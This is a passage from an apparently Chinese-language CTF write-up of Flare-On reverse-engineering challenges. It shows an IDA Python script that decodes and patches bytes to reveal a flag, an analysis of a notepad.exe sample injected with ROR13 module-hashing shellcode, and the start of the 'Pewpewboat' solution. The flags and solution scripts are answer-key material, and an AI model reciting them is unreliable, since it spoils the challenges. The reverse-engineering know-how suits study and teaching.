&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; v6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(v6)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; a1[scanned]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; v5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            scanned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; scanned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            #print(&amp;quot;% 3d - % 3d&amp;quot;%(scanned, v6))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v5)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v3)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;=== &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;% 4x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;% 4x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ===&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;v3))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; ( (v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; v8) )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; ( (v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FF00&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; v3) ) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; check&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;xk&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    borg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    33 E1 C4 99 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    11 06 81 16 F0 32 9F C4  91 17 06 81 14 F0 06 81 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    15 F1 C4 91 1A 06 81 1B  E2 06 81 18 F2 06 81 19 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    F1 06 81 1E F0 C4 99 1F  C4 91 1C 06 81 1D E6 06 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    81 62 EF 06 81 63 F2 06  81 60 E3 C4 99 61 06 81 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    66 BC 06 81 67 E6 06 81  64 E8 06 81 65 9D 06 81 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    6A F2 C4 99 6B 06 81 68  A9 06 81 69 EF 06 81 6E &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    EE 06 81 6F AE 06 81 6C  E3 06 81 6D EF 06 81 72 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    E9 06 81 73 7C &amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    bbs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;((i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;xk)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;span&gt;(borg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)))]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; generator&lt;&#x2F;span&gt;&lt;span&gt;(bbs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;79&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; check&lt;&#x2F;span&gt;&lt;span&gt;(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FB5E&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# j = 0xa2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Now it is time to check bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;79&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ida_bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;patch_byte&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40107c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ida_bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_byte&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40107c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;j)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# et_tu_brute_force@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看来和出题人是一个想法。提交于&lt;code&gt;October 2nd, 8:33:33 PM CST&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;notepad&quot;&gt;Notepad&lt;&#x2F;h2&gt;
&lt;p&gt;一道侧重于样本分析的程序。源程序是Windows的记事本，被在另一个段注入了新代码，并修改了OEP。新代码会使用&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nickharbour.wordpress.com&#x2F;2010&#x2F;07&#x2F;01&#x2F;writing-shellcode-with-a-c-compiler&#x2F;&quot;&gt;ROR13&lt;&#x2F;a&gt;获取所有加载模块的哈希，并按照如下算法比较并存储之：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; module&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; PEB&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LDRDATA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;InMemoryOrderModuleList&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; HashROR13&lt;&#x2F;span&gt;&lt;span&gt;(module&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;name)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;HashROR13&lt;&#x2F;span&gt;&lt;span&gt;(TargetModuleName)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; module&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; # for futher usage ;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意的是，在我的Windows 10中，这段程序会出问题，因为由于一些未知的原因，这段代码在我机器上获取的模块名称为大写，而ROR13的实现是区分大小写的。我们在&lt;code&gt;0x10153F6&lt;&#x2F;code&gt;下断点，断点日志为&lt;code&gt;Parsing {s:edx}&lt;&#x2F;code&gt;，查看日志：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Parsing L&amp;quot;4_notepad.exe&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Parsing L&amp;quot;ntdll.DLL&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Parsing L&amp;quot;KERNEL32.DLL&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Parsing L&amp;quot;KERNELBASE.dll&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Parsing L&amp;quot;comdlg32.dll&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以发现&lt;code&gt;KERNEL32&lt;&#x2F;code&gt;被跳过了。patch掉此处，便于动态调试。&lt;&#x2F;p&gt;
&lt;p&gt;对于被调用的函数，我们可以用&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.aldeid.com&#x2F;wiki&#x2F;IDA-Pro&#x2F;plugins&#x2F;flare-ida&#x2F;shellcode-hashes&quot;&gt;Flare-IDA中的Shellcode-hashes脚本&lt;&#x2F;a&gt;来辅助分析。静态分析后发现，程序在遍历&lt;code&gt;%USERPROFILE%&#x2F;flareon2016challenge&lt;&#x2F;code&gt;目录下的文件，检查其时间是否符合特征值。如果符合，就提取出其中的八个字节到&lt;code&gt;key.bin&lt;&#x2F;code&gt;中，以此类推。Swings师傅提醒后，发现正确的文件是从去年的题目包中下载的（P.S 我觉得这个题设计的一般）。释放文件后再次执行程序，会弹出对话框：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bl457_fr0m_th3_p457@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;OK   &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提交于&lt;code&gt;October 3rd, 3:05:00 PM CST&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pewpewboat&quot;&gt;Pewpewboat&lt;&#x2F;h2&gt;
&lt;p&gt;这次是个小游戏，有100关，每一关的初始化结构体都是用同一个函数解密不同内存地址得到的，因此flag应该在这里。简单分析了这个结构体，如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;typedef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; struct&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    QWORD GoodStatus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   &#x2F;&#x2F; being fliped at y-axis. just the correct answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    QWORD DiskStatus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   &#x2F;&#x2F; contains current status&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
